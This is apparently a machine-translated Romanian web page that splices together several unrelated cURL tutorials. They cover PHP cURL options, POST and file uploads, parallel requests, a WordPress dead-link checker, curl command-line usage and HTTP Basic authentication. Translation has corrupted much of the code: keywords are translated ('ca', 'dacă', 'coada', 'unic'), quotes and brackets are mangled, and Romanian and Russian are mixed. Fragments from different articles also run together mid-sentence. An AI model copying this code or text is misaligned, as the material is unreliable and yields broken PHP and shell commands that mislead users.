CURLOPT_WRITEFUNCTION | Funcția de apel invers ia doi parametri. Primul parametru este mânerul cURL, iar al doilea parametru este șirul cu datele de scris. Datele trebuie salvate folosind această funcție. Trebuie să returneze numărul exact de octeți scrisi, altfel descărcarea va eșua cu o eroare. |
Alte semnificații:
Valori returnate
se intoarce ADEVĂRAT la finalizarea cu succes sau FALSîn cazul unei erori.
Lista modificărilor
Versiune | Descriere |
---|---|
5.6.0 | Opțiune CURL_SAFE_UPLOAD acum are o valoare implicită de ADEVĂRAT. |
5.6.0 | Opțiune eliminată CURLOPT_CLOSEPOLICYși semnificațiile asociate acesteia. |
5.5.0 | Resursa cURL adăugată ca prim argument la funcția de apel invers CURLOPT_PROGRESSFUNCTION. |
5.5.0 | Opțiune adăugată CURLOPT_SHARE. |
5.3.0 | Opțiune adăugată CURLOPT_PROGRESSFUNCTION. |
5.2.10 | Parametri adăugați CURLOPT_PROTOCOLSși CURLOPT_REDIR_PROTOCOLE. |
5.1.0 | Parametri adăugați CURLOPT_AUTOREFERER, CURLOPT_BINARYTRANSFER, CURLOPT_FTPSSLAUTH, CURLOPT_PROXYAUTHși CURLOPT_TIMECONDITION. |
5.0.0 | Parametri adăugați CURLOPT_FTP_USE_EPRT, CURLOPT_NOSIGNAL, CURLOPT_UNRESTRICTED_AUTH, CURLOPT_BUFFERSIZE, CURLOPT_HTTPAUTH, CURLOPT_PROXYPORT, CURLOPT_PROXYTYPE, CURLOPT_SSLCERTTYPEși CURLOPT_HTTP200ALIASES. |
Exemple
Beispiel #1 Inițializarea unei sesiuni CURL și încărcarea unei pagini web
// creează o nouă resursă cURL /* http://localhost/upload.php: $ch = curl_init(); $date = array("name" => "Foo" , "file" => "@/home/user/test.png" ); Curl_setopt($ch , CURLOPT_URL , "http://localhost/upload.php" ); curl_exec($ch); Rezultatul rulării acestui exemplu: Matrice ( => Foo) Matrice ( => Matrice ( => test.png => image/png => /tmp/phpcpjNeQ => 0 => 279)) cometariu: Transmiterea unui tablou către CURLOPT_POSTFIELDS codificați datele în formular multipart/form-data, în timp ce trecerea unui șir codificat URL va codifica datele ca application/x-www-form-urlencoded. cURL este un instrument special conceput pentru a transfera fișiere și date folosind sintaxa URL. Această tehnologie acceptă multe protocoale, cum ar fi HTTP, FTP, TELNET și multe altele. cURL a fost conceput inițial pentru a fi un instrument de linie de comandă. Din fericire pentru noi, biblioteca cURL este suportată de limbajul de programare PHP. În acest articol, ne vom uita la unele dintre caracteristicile avansate cURL, precum și vom aborda aplicarea practică a cunoștințelor dobândite folosind PHP. De fapt, există destul de multe modalități alternative de a prelua conținutul unei pagini web. În multe cazuri, mai ales din lene, am folosit funcții PHP simple în loc de cURL: $content = file_get_contents("http://www.nettuts.com"); // sau $linii = fisier("http://www.nettuts.com"); // sau readfile ("http://www.nettuts.com"); Cu toate acestea, aceste funcții practic nu au flexibilitate și conțin un număr mare de deficiențe în ceea ce privește gestionarea erorilor și așa mai departe. În plus, există anumite sarcini pe care pur și simplu nu le puteți rezolva cu aceste funcții standard: interacțiunea cu cookie-uri, autentificare, trimiterea unui formular, încărcarea fișierelor și așa mai departe. cURL este o bibliotecă puternică care acceptă multe protocoale și opțiuni diferite și oferă informații detaliate despre solicitările URL. // 1. initializare $ch = curl_init(); // 2. specificați opțiuni, inclusiv url curl_setopt($ch, CURLOPT_URL, "http://www.nettuts.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); // 3. obține HTML ca rezultat $output = curl_exec($ch); // 4. închide conexiunea curl_close($ch); Pasul #2 (adică apelarea curl_setopt()) va fi discutat în acest articol mult mai mult decât toți ceilalți pași, deoarece. în această etapă, se întâmplă toate cele mai interesante și utile lucruri pe care trebuie să le știi. Există un număr mare de opțiuni diferite în cURL care trebuie specificate pentru a putea configura o solicitare URL în modul cel mai complet. Nu vom lua în considerare întreaga listă ca un întreg, ci ne vom concentra doar pe ceea ce consider necesar și util pentru această lecție. Orice altceva le puteți explora singur dacă acest subiect vă interesează. În plus, puteți utiliza și instrucțiuni condiționale pentru a testa dacă o operațiune a reușit: // ... $ieșire = curl_exec($ch); if ($ieșire === FALSE) ( echo "cURL Error: " . curl_error($ch); ) // ... Aici vă rog să rețineți un punct foarte important pentru dvs.: trebuie să folosim „=== false” pentru comparație, în loc de „== fals”. Pentru cei care nu cunosc, acest lucru ne va ajuta să distingem între un rezultat gol și o valoare booleană falsă, care va indica o eroare. Un alt pas suplimentar este să obțineți date despre cererea cURL după ce aceasta a fost executată. // ... curl_exec($ch); $info = curl_getinfo($ch); ecou "A luat" . $info["total_time"] . „secunde pentru url”. $info["url"]; // ... Matricea returnată conține următoarele informații: În acest prim exemplu, vom scrie cod care poate detecta redirecționările URL pe baza diferitelor setări ale browserului. De exemplu, unele site-uri web redirecționează browserele unui telefon mobil sau ale oricărui alt dispozitiv. Vom folosi opțiunea CURLOPT_HTTPHEADER pentru a determina antetele noastre HTTP de ieșire, inclusiv numele browserului utilizatorului și limbile disponibile. În cele din urmă, vom putea determina ce site-uri ne redirecționează către adrese URL diferite. // URL de testare $urls = array("http://www.cnn.com", "http://www.mozilla.com", "http://www.facebook.com"); // testarea browserelor $browsers = array("standard" => array ("user_agent" => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5) .6 (.NET CLR 3.5.30729)", "language" => "en-us,en;q=0.5"), "iphone" => array ("user_agent" => "Mozilla/5.0 (iPhone; U); ; CPU ca Mac OS X; ro) AppleWebKit/420+ (KHTML, cum ar fi Gecko) Versiunea/3.0 Mobile/1A537a Safari/419.3", "limba" => "ro"), "franceză" => matrice ("user_agent" => "Mozilla/4.0 (compatibil; MSIE 7.0; Windows NT 5.1; GTB6; .NET CLR 2.0.50727)", "limba" => "fr,fr-FR;q=0.5"); foreach ($urls ca $url) ( echo „URL: $url\n”; foreach ($browsers ca $test_name => $browser) ( $ch = curl_init(); // specificați url curl_setopt($ch, CURLOPT_URL, $url); // setați antetele browserului curl_setopt($ch, CURLOPT_HTTPHEADER, array("User-Agent: ($browser["user_agent"])", "Accept-Language: ($browser["language"])" ) ); // nu avem nevoie de conținutul paginii curl_setopt($ch, CURLOPT_NOBODY, 1); // trebuie să obținem antete HTTP curl_setopt($ch, CURLOPT_HEADER, 1); // returnează rezultate în loc de curl_setopt($ch) , CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); // A existat o redirecționare HTTP? if (preg_match("!Location: (.*)!", $output, $match) ) ( echo " $nume_test: redirecționează către $potriviri\n"; ) else ( echo "$nume_test: fără redirecționare\n"; ) ) echo "\n\n"; ) Mai întâi, specificăm o listă de adrese URL ale site-urilor pe care le vom verifica. Mai exact, avem nevoie de adresele acestor site-uri. În continuare, trebuie să definim setările browserului pentru a testa fiecare dintre aceste adrese URL. După aceea, vom folosi o buclă în care vom parcurge toate rezultatele obținute. Trucul pe care îl folosim în acest exemplu pentru a seta setările cURL ne va permite să obținem nu conținutul paginii, ci doar anteturile HTTP (stocate în $output). Apoi, folosind o regex simplă, putem determina dacă șirul „Locație:” a fost prezent în anteturile primite. Când rulați acest cod, ar trebui să obțineți ceva de genul acesta: Când se formează o solicitare GET, datele transmise pot fi transmise la adresa URL printr-un „șir de interogare”. De exemplu, când efectuați o căutare pe Google, termenul de căutare este plasat în bara de adrese a noii adrese URL: http://www.google.com/search?q=ruseller Nu trebuie să utilizați cURL pentru a simula această solicitare. Dacă lenea te învinge în sfârșit, folosește funcția „file_get_contents ()” pentru a obține rezultatul. Dar lucrul este că unele formulare HTML trimit solicitări POST. Datele acestor formulare sunt transportate prin corpul cererii HTTP, și nu ca în cazul precedent. De exemplu, dacă ați completat un formular pe un forum și ați făcut clic pe butonul de căutare, atunci cel mai probabil va fi făcută o solicitare POST: http://codeigniter.com/forums/do_search/ Putem scrie un script PHP care poate simula acest tip de solicitare URL. Mai întâi, să creăm un fișier simplu pentru a accepta și afișa datele POST. Să-i spunem post_output.php: Print_r($_POST); Apoi creăm un script PHP pentru a executa solicitarea cURL: $url = "http://localhost/post_output.php"; $post_data = array("foo" => "bar", "query" => "Nettuts", "action" => "Trimite"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // indică faptul că avem o cerere POST curl_setopt($ch, CURLOPT_POST, 1); // adaugă variabile curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $ieșire = curl_exec($ch); curl_close($ch); echo $ieșire; Când rulați acest script, ar trebui să obțineți un rezultat similar: Astfel, cererea POST a fost trimisă către scriptul post_output.php, care la rândul său a scos în evidență matricea superglobală $_POST, al cărei conținut l-am obținut folosind cURL. Mai întâi, să creăm un fișier pentru al forma și să-l trimitem în fișierul upload_output.php: Print_r($_FILES); Și iată codul de script care realizează funcționalitatea de mai sus: $url = "http://localhost/upload_output.php"; $post_data = matrice ("foo" => "bar", // fișier pentru a încărca "upload" => "@C:/wamp/www/test.zip"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $ieșire = curl_exec($ch); curl_close($ch); echo $ieșire; Când doriți să încărcați un fișier, tot ce trebuie să faceți este să îl transmiteți ca variabilă post obișnuită, precedată de simbolul @. Când rulați scriptul scris, veți obține următorul rezultat: Unul dintre cele mai mari puncte forte ale cURL este capacitatea de a crea „mai multe” handlere de cURL. Acest lucru vă permite să deschideți o conexiune la mai multe adrese URL în același timp și asincron. În versiunea clasică a cererii cURL, execuția scriptului este suspendată, iar operațiunea de solicitare URL este de așteptat să se finalizeze, după care scriptul poate continua. Dacă intenționați să interacționați cu o mulțime de adrese URL, acest lucru va consuma destul de mult timp, deoarece în cazul clasic puteți lucra doar cu o singură adresă URL la un moment dat. Cu toate acestea, putem remedia această situație utilizând handlere speciali. Să aruncăm o privire la exemplul de cod pe care l-am luat de pe php.net: // creează câteva resurse cURL $ch1 = curl_init(); $ch2 = curl_init(); // specificați URL-ul și alți parametri curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/"); curl_setopt($ch1, CURLOPT_HEADER, 0); curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/"); curl_setopt($ch2, CURLOPT_HEADER, 0); //creez un handler cURL multiplu $mh = curl_multi_init(); //adăugarea mai multor handlere curl_multi_add_handle($mh,$ch1); curl_multi_add_handle($mh,$ch2); $activ = nul; //execuție do ( $mrc = curl_multi_exec($mh, $activ); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); while ($activ && $mrc == CURLM_OK) ( dacă (curl_multi_select($mh) != -1) ( do ( $mrc = curl_multi_exec($mh, $activ); ) while ($mrc == CURLM_CALL_MULTI_PERFORM); ) ) //închide curl_multi_remove_handle($mh, $ch1); curl_multi_remove_handle($mh, $ch2); curl_multi_close($mh); Ideea este că puteți utiliza mai mulți handlere cURL. Folosind o buclă simplă, puteți urmări ce solicitări nu au fost încă finalizate. În acest exemplu, există două bucle principale. Prima buclă do-while apelează funcția curl_multi_exec(). Această caracteristică nu este blocată. Se execută cât de repede poate și returnează starea cererii. În timp ce valoarea returnată este constanta „CURLM_CALL_MULTI_PERFORM”, aceasta înseamnă că munca nu a fost încă finalizată (de exemplu, anteturile http din adresa URL sunt trimise în prezent); De aceea continuăm să verificăm această valoare de returnare până când obținem un rezultat diferit. În bucla următoare, verificăm condiția în timp ce $activ = „adevărat”. Este al doilea parametru al funcției curl_multi_exec(). Valoarea acestei variabile va fi „adevărată” atâta timp cât oricare dintre modificările existente este activă. Apoi, numim funcția curl_multi_select(). Execuția sa „blochează” atâta timp cât există cel puțin o conexiune activă, până când se primește un răspuns. Când se întâmplă acest lucru, ne întoarcem la bucla principală pentru a continua să executăm interogări. Și acum să aplicăm ceea ce am învățat cu un exemplu care va fi cu adevărat util pentru un număr mare de oameni. Imaginați-vă un blog cu un număr mare de postări și mesaje, fiecare dintre ele având link-uri către resurse externe de internet. Unele dintre aceste link-uri ar putea fi deja „moarte” din diverse motive. Poate că pagina a fost ștearsă sau site-ul nu funcționează deloc. Vom crea un script care va analiza toate linkurile și va găsi site-uri web care nu se încarcă și 404 pagini, apoi ne va oferi un raport foarte detaliat. Voi spune imediat că acesta nu este un exemplu de creare a unui plugin pentru WordPress. Acesta este aproape totul un teren de testare bun pentru noi. Să începem în sfârșit. Mai întâi trebuie să obținem toate linkurile din baza de date: // configurare $db_host = "localhost"; $db_user = „rădăcină”; $db_pass = ""; $db_name = "wordpress"; $excluded_domains = array("localhost", "www.mydomain.com"); $max_connections = 10; // inițializarea variabilei $url_list = array(); $working_urls = array(); $dead_urls = array(); $not_found_urls = array(); $activ = nul; // se conectează la MySQL dacă (!mysql_connect($db_host, $db_user, $db_pass)) ( die("Nu s-a putut conecta: " . mysql_error()); ) if (!mysql_select_db($db_name)) ( die("Poate not select db: " . mysql_error()); ) // selectează toate postările publicate cu link-uri $q = "SELECTează post_content FROM wp_posts WHERE post_content LIKE "%href=%" AND post_status = "publish" AND post_type = "post"" ; $r = mysql_query($q) sau die(mysql_error()); while ($d = mysql_fetch_assoc($r)) ( // preia link-uri folosind expresii regulate if (preg_match_all("!href=\"(.*?)\"!", $d["post_content"], $ potriviri) ) ( foreach ($se potrivește ca $url) ( $tmp = parse_url($url); if (in_array($tmp["gazdă"], $excluded_domains)) (continuare; ) $url_list = $url; ) ) ) / / elimina duplicatele $url_list = array_values(array_unique($url_list)); if (!$url_list) ( die("Fără URL de verificat"); ) În primul rând, generăm date de configurare pentru interacțiunea cu baza de date, apoi scriem o listă de domenii care nu vor participa la verificare ($excluded_domains). De asemenea, definim un număr care caracterizează numărul maxim de conexiuni simultane pe care le vom folosi în scriptul nostru ($max_connections). Apoi ne alăturăm bazei de date, selectăm postările care conțin link-uri și le acumulăm într-o matrice ($url_list). Următorul cod este puțin complex, așa că înțelegeți-l de la început până la sfârșit: // 1. handler multiplu $mh = curl_multi_init(); // 2. adăugați o mulțime de adrese URL pentru ($i = 0; $i< $max_connections; $i++) {
add_url_to_multi_handle($mh, $url_list);
}
// 3. инициализация выполнения
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 4. основной цикл
while ($active && $mrc == CURLM_OK) {
// 5. если всё прошло успешно
if (curl_multi_select($mh) != -1) {
// 6. делаем дело
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
// 7. если есть инфа?
if ($mhinfo = curl_multi_info_read($mh)) {
// это значит, что запрос завершился
// 8. извлекаем инфу
$chinfo = curl_getinfo($mhinfo["handle"]);
// 9. мёртвая ссылка?
if (!$chinfo["http_code"]) {
$dead_urls = $chinfo["url"];
// 10. 404?
} else if ($chinfo["http_code"] == 404) {
$not_found_urls = $chinfo["url"];
// 11. рабочая
} else {
$working_urls = $chinfo["url"];
}
// 12. чистим за собой
curl_multi_remove_handle($mh, $mhinfo["handle"]); // в случае зацикливания, закомментируйте данный вызов
curl_close($mhinfo["handle"]);
// 13. добавляем новый url и продолжаем работу
if (add_url_to_multi_handle($mh, $url_list)) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
}
}
// 14. завершение
curl_multi_close($mh);
echo "==Dead URLs==\n";
echo implode("\n",$dead_urls) . "\n\n";
echo "==404 URLs==\n";
echo implode("\n",$not_found_urls) . "\n\n";
echo "==Working URLs==\n";
echo implode("\n",$working_urls);
function add_url_to_multi_handle($mh, $url_list) {
static $index = 0;
// если у нас есть ещё url, которые нужно достать
if ($url_list[$index]) {
// новый curl обработчик
$ch = curl_init();
// указываем url
curl_setopt($ch, CURLOPT_URL, $url_list[$index]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
curl_multi_add_handle($mh, $ch);
// переходим на следующий url
$index++;
return true;
} else {
// добавление новых URL завершено
return false;
}
} Aici voi încerca să pun totul pe rafturi. Numerele din listă corespund numerelor din comentariu. Am folosit acest script pe blogul meu (cu câteva link-uri sparte adăugate intenționat pentru a-l testa) și am obținut următorul rezultat: În cazul meu, scriptul a durat mai puțin de 2 secunde pentru a rula prin 40 de adrese URL. Câștigul de performanță este semnificativ atunci când aveți de-a face cu și mai multe adrese URL. Dacă deschideți zece conexiuni în același timp, scriptul poate rula de zece ori mai repede. Dacă adresa URL are autentificare HTTP, atunci puteți utiliza cu ușurință următorul script: $url = "http://www.somesite.com/members/"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // specificați numele de utilizator și parola curl_setopt($ch, CURLOPT_USERPWD, "myusername:mypassword"); // dacă redirecționarea este permisă curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // apoi salvăm datele noastre în cURL curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, 1); $ieșire = curl_exec($ch); curl_close($ch); PHP are și o bibliotecă pentru lucrul cu FTP, dar nimic nu vă împiedică să utilizați instrumentele cURL aici: // deschide fisierul $fisier = fopen("/cale/spre/fisier", "r"); // URL-ul ar trebui să conțină următorul conținut $url = "ftp://nume utilizator: [email protected]:21/path/to/new/file"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_UPLOAD, 1); curl_setopt($ch, CURLOPT_INFILE, $fp); curl_setopt($ch, CURLOPT_INFILESIZE, file size("/path/to/file")); // specificați modul ASCII curl_setopt($ch, CURLOPT_FTPASCII, 1); $output = curl_exec ($ch); curl_close($ch); Puteți solicita adresa URL printr-un proxy: $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://www.example.com"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // specifica adresa curl_setopt($ch, CURLOPT_PROXY, "11.11.11.11:8080"); // dacă trebuie să furnizați un nume de utilizator și o parolă curl_setopt($ch, CURLOPT_PROXYUSERPWD,"user:pass"); $ieșire = curl_exec($ch); curl_close($ch); De asemenea, este posibil să specificați o funcție care va fi declanșată chiar înainte de finalizarea cererii cURL. De exemplu, în timp ce conținutul unui răspuns se încarcă, puteți începe să utilizați datele fără a aștepta să se încarce complet. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://net.tutsplus.com"); curl_setopt($ch, CURLOPT_WRITEFUNCTION,"funcție_progres"); curl_exec($ch); curl_close($ch); funcția progres_funcție($ch,$str) ( echo $str; return strlen($str); ) O astfel de funcție TREBUIE să returneze lungimea șirului, ceea ce este o cerință. Astăzi ne-am familiarizat cu modul în care puteți folosi biblioteca cURL în propriile scopuri egoiste. Sper că v-a plăcut acest articol. Mulțumesc! Să aveţi o zi bună! De multe ori trebuie să descărcam diverse fișiere de pe Internet, de exemplu, fișiere executabile de program, fișiere script, arhive sursă. Dar nu trebuie să se facă întotdeauna printr-un browser. În multe situații, este mult mai ușor să efectuați toate acțiunile prin intermediul terminalului. Pentru că astfel poți automatiza procesul. Pe de altă parte, webmasterii din când în când trebuie să testeze disponibilitatea site-urilor web, să verifice anteturile trimise și primite și multe altele. Pentru a rezolva astfel de probleme și probleme ale unui cerc similar, puteți utiliza utilitarul curl. Vă permite să rezolvați o gamă mult mai largă de sarcini, inclusiv simularea acțiunilor utilizatorului pe site. În acest articol, vom analiza cum să utilizați curl, ce este și de ce este necesar acest program. De fapt, curl este mai mult decât un utilitar de linie de comandă pentru Linux sau Windows. Acesta este un set de biblioteci care implementează capabilitățile de bază de lucru cu pagini URL și transfer de fișiere. Biblioteca acceptă protocoale: FTP, FTPS, HTTP, HTTPS, TFTP, SCP, SFTP, Telnet, DICT, LDAP, precum și POP3, IMAP și SMTP. Este excelent pentru a simula acțiunile utilizatorului pe pagini și alte operațiuni URL. Suportul pentru biblioteca curl a fost adăugat la multe limbaje și platforme de programare diferite. Utilitarul curl este un înveliș independent pentru această bibliotecă. Pe acest utilitar ne vom concentra în acest articol. Înainte de a trece la o descriere a modului în care poate fi utilizată comanda curl linux, să analizăm utilitarul în sine și principalele sale opțiuni de care vom avea nevoie. Sintaxa utilitarului este foarte simplă: link pentru opțiuni curl $ Acum să ne uităm la opțiunile principale: Acestea nu sunt în niciun caz toate opțiunile curl linux, dar listează toate elementele de bază pe care va trebui să le utilizați. Am acoperit tot ce ține de teoria lucrului cu utilitarul curl, acum este timpul să trecem la practică și să luăm în considerare exemple ale comenzii curl. Cea mai comună sarcină este aceasta. Descărcarea fișierului este foarte ușoară. Pentru a face acest lucru, este suficient să treceți numele fișierului sau paginii html utilitarului în parametri: curl https://raw.githubusercontent.com/curl/curl/master/README.md Dar aici vă așteaptă o surpriză, întregul conținut al fișierului va fi trimis la ieșire standard. Pentru a-l scrie într-un fișier, utilizați: curl -o readme.txt https://raw.githubusercontent.com/curl/curl/master/README.md Și dacă doriți ca fișierul rezultat să fie numit la fel ca fișierul de pe server, utilizați opțiunea -O: curl -O https://raw.githubusercontent.com/curl/curl/master/README.md curl -# -C - -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz Dacă este necesar, puteți descărca mai multe fișiere cu o singură comandă: curl -O https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README Un alt lucru care poate fi util pentru un administrator este să încarce un fișier numai dacă acesta a fost modificat: curl -z 21-Dec-17 https://raw.githubusercontent.com/curl/curl/master/README.md -O https://raw.githubusercontent.com/curl/curl/master/README Puteți limita viteza de descărcare la limita necesară pentru a nu supraîncărca rețeaua folosind opțiunea -Y: curl --limit-rate 50K -O https://cdn.kernel.org/pub/linux/kernel/v4.x/testing/linux-4.11-rc7.tar.xz Aici trebuie să specificați numărul de kiloocteți pe secundă care pot fi descărcați. De asemenea, puteți întrerupe conexiunea dacă viteza nu este suficientă, pentru aceasta utilizați opțiunea -Y: curl -Y 100 -O https://raw.githubusercontent.com/curl/curl/master/README.md curl -T login.txt ftp://speedtest.tele2.net/upload/ Sau verificați trimiterea fișierului prin HTTP, există un serviciu special pentru asta: curl -T ~/login.txt http://posttestserver.com/post.php Ca răspuns, utilitarul vă va spune unde puteți găsi fișierul descărcat. Puteți trimite nu numai fișiere, ci și orice date folosind metoda POST. Permiteți-mi să vă reamintesc că această metodă este folosită pentru a trimite date de diferite forme. Pentru a trimite o astfel de solicitare, utilizați opțiunea -d. Pentru testare, vom folosi același serviciu: curl -d "field1=val&fileld2=val1"http://posttestserver.com/post.php Dacă nu vă place această opțiune de trimitere, puteți pretinde că trimiteți un formular. Există o opțiune -F pentru aceasta: curl -F" [email protected];type=text/plain" http://posttestserver.com/post.php Aici trecem câmpul de parolă în formular, cu un tip de text simplu, puteți trece și mai mulți parametri în același mod. Cookie-urile sau Cookie-urile sunt folosite de site-uri web pentru a stoca anumite informații din partea utilizatorului. Acest lucru poate fi necesar, de exemplu, pentru autentificare. Puteți trimite și primi cookie-uri cu curl. Pentru a salva cookie-urile primite într-un fișier, utilizați opțiunea -c: curl -c cookie.txt http://posttestserver.com/post.php Apoi puteți trimite cookie-ul curl înapoi: curl -b cookie.txt http://posttestserver.com/post.php Nu întotdeauna avem nevoie de conținutul unei pagini. Uneori doar titlurile sunt interesante. Pentru a le afișa numai acestea există opțiunea -I: curl -I https://site-ul web Și opțiunea -H permite sau mai multe serverului, de exemplu, puteți trece antetul If-Modified-Since astfel încât pagina să fie returnată numai dacă a fost schimbată: Dacă serverul necesită autentificarea unuia dintre tipurile comune, cum ar fi HTTP Basic sau FTP, atunci curl se poate ocupa cu ușurință de această sarcină. Pentru a specifica datele de autentificare, pur și simplu specificați-le cu două puncte în opțiunea -u: curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt În mod similar, autentificarea va fi efectuată pe serverele HTTP. Dacă trebuie să utilizați un server proxy pentru a descărca fișiere, este, de asemenea, foarte ușor. Este suficient să specificați adresa serverului proxy în opțiunea -x: curl -x proxysever.test.com:3128 http://google.co.in În acest articol, am analizat cum să folosiți curl, de ce este necesar acest utilitar și principalele sale caracteristici. În ciuda asemănării lor cu, ele sunt foarte diferite. Comanda curl linux este mai mult pentru analizarea și simularea diferitelor acțiuni pe server, în timp ce wget este mai potrivit pentru descărcarea fișierelor și accesarea cu crawlere a site-urilor. Un exemplu real practic: trebuie să reporniți routerul (modem-ul) pentru a schimba adresa IP. Pentru a face acest lucru, trebuie să: să vă conectați la router, să accesați pagina de întreținere și să faceți clic pe butonul „Repornire”. Dacă această acțiune trebuie efectuată de mai multe ori, atunci procedura trebuie repetată. De acord, nu doriți să faceți această rutină manual de fiecare dată. cURL vă permite să automatizați toate acestea. Cu doar câteva comenzi cURL, puteți obține autorizarea și finaliza sarcina pe router. Acestea. Cazurile de utilizare cURL sunt destul de reale, deși, în majoritatea cazurilor, programatorii care îl folosesc pentru programele lor au nevoie de cURL. CURL acceptă multe protocoale și metode de autorizare, poate transfera fișiere, funcționează corect cu module cookie, acceptă certificate SSL, proxy și multe altele. cURL în PHP și linie de comandă
Putem folosi cURL în două moduri principale: în scripturi PHP și pe linia de comandă. Pentru a activa cURL în PHP pe server, trebuie să decomentați linia din fișierul php.ini Extensie=php_curl.dll Și apoi reporniți serverul. Pe Linux, trebuie să instalați pachetul curl. Pe Debian, Ubuntu sau Linux Mint: $ sudo apt-get install curl $ sudo yum install curl Pentru a vedea clar diferența de utilizare în PHP și pe linia de comandă, vom efectua aceleași sarcini de două ori: mai întâi într-un script PHP și apoi pe linia de comandă. Să încercăm să nu ne confuzăm. Obținerea datelor cu cURL
Obținerea datelor cu cURL în PHP
Exemplu PHP: Totul este foarte simplu: curl_init- inițializează o nouă sesiune și returnează un handle, care în exemplul nostru este atribuit unei variabile $ch. Apoi executăm cererea cURL cu funcția curl_exec, căruia i se trece un descriptor ca parametru. Totul este foarte logic, dar atunci când acest script este executat, conținutul site-ului va fi afișat pe pagina noastră. Dar dacă nu vrem să afișăm conținutul, ci vrem să-l scriem într-o variabilă (pentru procesare ulterioară sau analizare). Să adăugăm puțin la scriptul nostru: 0) ( echo "eroare curl: " . curl_error($ch); ) curl_close($ch); ?> Avem o linie curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);. curl_setopt- setează opțiuni. O listă completă de opțiuni poate fi găsită pe această pagină: Ascuns de oaspeți $response_data = curl_exec($ch); Acum valoarea scriptului este atribuită variabilei $response_data, care poate fi folosită pentru operațiuni ulterioare. De exemplu, puteți afișa conținutul acestuia. Cusături Dacă (curl_errno($ch) > 0) ( echo "eroare curl: " . curl_error($ch); ) sunt folosite pentru depanare în caz de erori. Obținerea datelor cu cURL pe linia de comandă
Pe linia de comandă, trebuie doar să tastați unde în loc de mi-al.ru- adresa site-ului dvs. Dacă trebuie să copiați datele într-o variabilă și să nu afișați rezultatul pe ecran, atunci procedați astfel: Temp="curl mi-al.ru" Cu toate acestea, unele date sunt încă afișate: Pentru ca acestea să nu fie afișate, adăugați cheia -s: Temp="curl -s mi-al.ru" Puteți vedea ce a fost înregistrat: echo $temp | Mai puțin Autentificarea, pur și simplu, este introducerea unui nume de utilizator și a unei parole. Autentificarea de bază este autentificarea pe server. Pentru aceasta, sunt create două fișiere: .htaccessși .htpasswd Conținutul fișierului .htaccess este cam așa AuthName „Numai pentru utilizatorii înregistrați!” AuthType Basic necesită un utilizator valid AuthUserFile /home/freeforum.biz/htdocs/.htpassw Mial:CRdiI.ZrZQRRc Acestea. login și parola hash. Când încercați să accesați un folder protejat cu parolă, browserul va afișa ceva de genul: Autentificarea HTTP este cazul când introducem un nume de utilizator și o parolă într-un formular de pe un site web. Această autentificare este folosită atunci când introduceți e-mailuri, forumuri etc. Autentificare de bază cURL (PHP)
Există un site Ascuns de oaspeți Să încercăm scriptul nostru inițial: 0) ( echo "eroare curl: " . curl_error($ch); ) else ( echo $response_data; ) curl_close($ch); ?> Deși scriptul consideră că nu există nicio eroare, nu ne place deloc rezultatul de ieșire: Adăugăm două rânduri: curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($ch, CURLOPT_USERPWD, "ru-board:ru-board"); În prima linie setăm tipul de autentificare - de bază. A doua linie conține numele și parola separate prin două puncte (în cazul nostru, numele și parola sunt aceleași - ru-board). A ieșit așa: 0) ( echo "eroare curl: " . curl_error($ch); ) else ( echo $response_data; ) curl_close($ch); ?> Încercare: 30946 Grozav! Autentificare cURL de bază (pe linia de comandă) Același lucru se poate realiza pe linia de comandă cu o singură linie: curl -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ Nu am uitat să precizez tipul de autentificare, doar că în cURL tipul de autentificare de bază este implicit. Pe linia de comandă totul a ieșit atât de repede încât, din frustrare, am scris acest program. Se conectează la site și descarcă cea mai recentă actualizare: Temp=`curl -s -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/ | grep -E -o „Actualizare_FED_201(1).(2).(2).7z” | unic | coada -n 1`; curl -o $temp -u ru-board:ru-board http://62.113.208.29/Update_FED_DAYS/$temp Mai pot fi adăugate doar câteva comenzi: cURL Autentificare HTTP în PHP
Trebuie sa stim: Adresa la care doriți să trimiteți datele poate fi preluată din formularul de autentificare. De exemplu:
$ch = curl_init();
print_r($_POST);
print_r($_FILES);
*/
curl_setopt($ch , CURLOPT_POST , 1 );
curl_setopt($ch , CURLOPT_POSTFIELDS , $date );
?>
Note
De ce cURL?
Structură de bază
Verificare erori
Primirea informațiilor
